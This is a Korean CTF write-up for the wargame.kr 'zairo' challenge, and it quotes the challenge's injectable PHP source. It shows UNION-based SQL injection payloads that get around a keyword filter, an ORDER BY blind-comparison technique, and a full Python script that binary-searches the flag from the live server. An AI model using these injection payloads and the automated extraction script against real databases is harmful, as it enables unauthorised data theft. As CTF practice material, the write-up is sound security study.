여튼 풀이 방법은 거의 유사한줄 알았는데 이렇게 내 발목을 잡을줄이야...
<?php error_reporting(0); include("./config.php"); // hidden column name include("../lib.php"); // auth_code function mysql_connect("localhost","zairo","zairo_pz"); mysql_select_db("zairo"); /**********************************************************************************************************************/ function rand_string() { $string = "1234567890abcdefghijklmnopqrstuvwxyz"; return str_shuffle($string); } function reset_flag($count_column, $flag_column) { global $count; $flag = rand_string(); $query = mysql_fetch_array(mysql_query("SELECT $count_column, $flag_column FROM findflag_2")); $count = $query[$count_column]; if($query[$count_column] == 150) { if(mysql_query("UPDATE findflag_2 SET $flag_column='{$flag}';")) { mysql_query("UPDATE findflag_2 SET $count_column=0;"); echo "reset flag<hr>"; } return $flag; } else { mysql_query("UPDATE findflag_2 SET $count_column=($query[$count_column] + 1);"); } return $query[$flag_column]; } function get_pw($pw_column){ $query = mysql_fetch_array(mysql_query("select $pw_column from findflag_2 limit 1")); return $query[$pw_column]; } /**********************************************************************************************************************/ $tmp_flag = ""; $tmp_pw = ""; $id = $_GET['id']; $pw = $_GET['pw']; $flags = $_GET['flag']; $count = 0; if(isset($id)) { if(preg_match("/information|schema|user|where|=/i", $id) || substr_count($id,"(") > 0) exit("no hack"); if(preg_match("/information|schema|user|where|=/i", $pw) || substr_count($pw,"(") > 0) exit("no hack"); $tmp_flag = reset_flag($count_column, $flag_column); $tmp_pw = get_pw($pw_column); $query = mysql_fetch_array(mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';")); echo "<hr />NOW COUNT = {$count}<br />"; if($query[$id_column]) { if(isset($pw) && isset($flags) && $pw === $tmp_pw && $flags === $tmp_flag) { echo "good job!!<br />FLAG : <b>".auth_code("zairo")."</b><hr>"; } else { echo "Hello ".$query[$id_column]."<hr>"; } } }else { highlight_file(__FILE__); } ?>
패스워드 컬럼을 알아보기 위해 다음과 같이 입력한다.
?id=%27%20union%20select%201%2C&pw=%2C3%2C4%2C5%23
패스워드 컬럼을 알아냈다.
이렇게 쿼리를 짜서 보내자.
?id=%27%20union%20select%201%2CxvvcPw4coaa1sslfe%2C3%2C4%2C5%20/%2A&pw=%2A/%20from%20findflag_2%20%23
패스워드도 알아냈다.
아이디를 알아내야하는데 이 문제에서는 where과 =를 사용할 수가 없다.
고로 1=1 union 이었던걸 다음과 같이 1 like 1 로 바꿔준다.
?id=' OR 1 like 1 union select 1%2C2%2C&pw=%2C4%2C5%23
이제 대 난관인 플래그만 남았다. (를 사용할 수 없으니 서브쿼리의 사용도 어려워보인다.
그래서 시도해본건 우선 order by를 이용해보기로 했다. 원래는 order by에서도 서브쿼리를 사용할 수 있지만 괄호를 사용할 수 없으니..
error base를 사용하는 글 같은데, 그냥 착안해서.. 이렇게 생각을 해봤다.
1열에 a가 있다면,
2열에 z를 넣으면 order by에 의해서 값이 변경해지지않을까? 해서 blind로 해볼수있지 않을까 생각을 해봤는데..
정상 아스키코드값이 아니면(a~Z, 특문등) 그냥 1열을 출력하는데 그 반대의 경우는 그냥 2열을 출력했다.
urllib.quote("*/ union SELECT 1,{},3,4,5 FROM findflag_2 order by 2 limit 1 #".format(hex(j)))
이런 느낌으로 해봤는데 사실, 150번만 하면 리셋이 되버리기 때문에 이게 가능한가 생각이 들었다..그러다가 order by로 값을 order by 해보았는데 신기하게도 계속 같은 값이 나왔다. 희한했다.
data = "?id=" data = data + urllib.quote("' union select 1,2,3,4,5 from findflag_2 /*") data = data + "&pw=" data = data + urllib.quote("*/ union select true,true,'{}{}',4,5 order by 3 desc#".format('w',string[i])) data = data + "&flag=" data = data + urllib.quote("") req = urllib2.Request("http://wargame.kr:8080/zairo/" + data, '', headers) response = urllib2.urlopen(req) res = response.read() print res
이런 느낌이다. for문을 이용해서 하나씩 빼다가, 다른값이 나오는 값 이전의 데이터를 넣고 하나씩 돌리다보면,
wkdlfhpw (이후는 전부 z)값을 얻을 수가 있다. 그런데.. order by 3컬럼은 비밀번호였다 ㅡㅡ 이미 알고있는 값... 어처구니 미싱...
왜 굳이 3으로 했냐 돌대가리야 하면서 4로 옮겨서 돌려보기 시작했다. 돌릴때마다 리셋이 되는걸 보니 맞다.
flag값은 36자리로 정확히 정해져있으므로 한번 나온 값은 다시 나오지 않는다. 그래서 대충 코드를 이렇게 짜봤는데, 한 10자리만 돌리면 이후부턴 제대로 값을 알아내질 못한다. 예를들어 이렇게 나온다.
kvj3yha675zxwutsrqponmligfedcb098421
한 열자리까지는 정상 범주로 가는것 같다가도 남은자리를 그냥 출력해버리고 마는것이다.... 잘되다가 막힌 느낌이었다. (사실, 이게 정답인지도 모르고 하지만서도..)
짧게는 5자리에서도 그러는데, 내 생각엔 다음으로 올 아스키코드보다 큰 수가 박히게 되면 다음값을 계산못하는게 아닌가.. 그런생각을 했다.
그래서 어떻게 했느냐? 그냥 될때까지 돌려보기로 했다 (--) 돌리는 와중에 str_shuffle에 취약점이 없나 살펴보는것도 잊지 않았지만 소득은 딱히...(str_shuffle은 게싱하기 쉬운 함수라고 한다. 그럼.. 얘를 돌파할 수 있는 코드를 짜야한다는건가?;;)
한참 고민을 하다보니 10자리에서 왜 출력이 안되는지 알 수 있었다. 임의로 코드를 짜봤는데 다음과 같다
import random s = "0123456789abcdefghijklmnopqrstuvwxyz" sqlstr = ''.join(random.sample(s,len(s))) string = "0123456789abcdefghijklmnopqrstuvwxyz{" count = 0 answ = "" while(1): for i in range(0,len(string)): condition = "{}{}".format(answ,string[i]) print answ, string if sqlstr < condition: answ = str(answ) + str(string[(i-1)]) string = string.replace(str(string[(i-1)]),'') break count = count + 1 if count >= 150: print "\nfailed" print "origin:" + sqlstr print "found :" + answ print "remain:" + str(len(string)-1) break else: print count if len(answ) == 36: print "\ncomplete" print "guessed:" + answ print "origin :" + sqlstr print "match :" + str(answ == sqlstr) print "count:" + str(count) break
내가 돌린 방법과 임의 문자열을 한개씩 매칭할때, 150번으론 택도 없다는 결론에 도달할 수 있었다.
못해도 290회, 많게는 420회까지 횟수가 필요했다.
===========
2017.01.08
새해.. 나는 이 문제를 풀고말겠다는 일념을 다졌다. 왜냐면, 아이디어 하나가 스쳐갔기때문이다.
왜 단순히 range로 생각했을까? 뭔가를 찾으려면 바이너리 서치를 하면되는데..
다만 이 경우에는 완전히 match를 구분할 수 있는 방법이 없기때문에 넘겨 짚었던것 같다. 어쨌든, match 없이 string을 찾는 python code를 작성해봤다. (첨작성한것과 jake가 작성한거랑 다름)
#!/usr/bin/env python # -*- coding: utf-8 -*- from random import sample from copy import deepcopy s = "0123456789abcdefghijklmnopqrstuvwxyz" chars = list(s)[::-1] secret = ''.join(sample(s, len(s))) ans = "" comp = 0 while True and len(chars): lo = 0 hi = len(chars) guessed = [] while lo <= hi: mid = (lo + hi) // 2 char = chars[mid] if char in guessed: ans += char chars.remove(char) break charless = deepcopy(chars) charless.remove(char) guess = "{0}{1}{2}".format(ans, char, ''.join(charless)) guessed.append(char) if lo == hi: ans += char chars.remove(char) elif secret > guess: hi = mid else: lo = mid comp += 1 print "{0}\t{1}\t{2}\t{3}\t{4}\t{5}".format(secret, guess, hi, lo, mid, comp)
잘나온다. 심지어 150번안에 수행완료..
물론, 위코드처럼 돌리면 횟수가 딸리는데, 어쨌든 바이너리서치형태로 만들어서 시도하면 문제 정복에 성공할 수 있다.
#!/usr/bin/env python # -*- coding: utf8 -*- import re, sys, time, urllib, urllib2 headers = {'Host': 'wargame.kr:8080'} s = "0123456789abcdefghijklmnopqrstuvwxyz" chars = list(s)[::-1] ans = "" while True and len(chars): lo = 0 hi = len(chars) guessed = [] while lo <= hi: time.sleep(0.01) mid = (lo + hi) // 2 char = chars[mid] if char in guessed: ans += char chars.remove(char) break charless = list(chars) charless.remove(char) guess = "{0}{1}{2}".format(ans, char, ''.join(charless)) guessed.append(char) id = urllib.quote("'UNION SELECT * FROM findflag_2/*") pw = urllib.quote("*/UNION SELECT 1,2,3,\"{}\",5 ORDER BY 4 ASC#".format(guess)) data = "?id={0}&pw={1}&flag=".format(id, pw) req = urllib2.Request("http://wargame.kr:8080/zairo/" + data, '', headers) response = urllib2.urlopen(req) res = response.read() count = re.findall(r"NOW COUNT = (\d+)", res)[0] if "reset" in res: sys.exit("[!] FAILED: FLAG RESET") if "zairowkdlfhdkel" in res: lo = mid else: hi = mid print "{0}\t{1}\t{2}\t{3}\t{4}".format(guess, hi, lo, mid, count) pass req = urllib2.Request("http://wargame.kr:8080/zairo/?id=zairowkdlfhdkel&pw=wkdlfhpw!!@%%%23@@%23&flag={0}".format(guess), '', headers) response = urllib2.urlopen(req).read() flag = re.findall(r"FLAG : <b>([0-9a-f]+)</b>", response) print "[*] OUR GUESS: {0}".format(guess) print "[!] SUCCESS! FLAG: {0}".format(flag[0])
개인시간도 부족하고 헤매서 오래 걸렸는데 괜히 감회가 새로운 느낌이다. 888점 획득!